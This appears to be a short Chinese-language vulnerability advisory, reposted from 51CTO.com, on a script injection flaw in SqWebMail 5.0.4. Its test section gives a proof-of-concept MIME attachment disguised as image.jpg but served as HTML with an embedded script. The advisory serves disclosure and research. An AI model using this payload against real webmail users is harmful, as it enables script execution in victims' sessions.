信息提供：
漏洞类别：
攻击类型：
发布日期：
更新日期：
受影响系统：
inter7 SqWebMail 5.0.4
安全系统：
无
漏洞报告人：
漏洞描述：
BUGTRAQ ID: 14650SqWebMail是使用Maildir邮箱发送和接收邮件的web CGI客户端。SqWebMail中存在脚本注入漏洞，起因是SqWebMail允许在SqWebMail server环境中浏览附带的文件。攻击者可以利用这个漏洞在用户在附件文件上点击“显示”时执行任意脚本代码。
测试方法：
警 告以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
--_----------=_1123228313217851Content-Disposition: attachment; filename="image.jpg"Content-Transfer-Encoding: binaryContent-Type: text/html<html><body><script>alert(document.domain);</script></body></html>--_----------=_1123228313217851--
解决方法：
文章出处：51CTO.com
(责任编辑：关美纳)
我来说两句(
-- 给编辑写信
-- 给编辑写信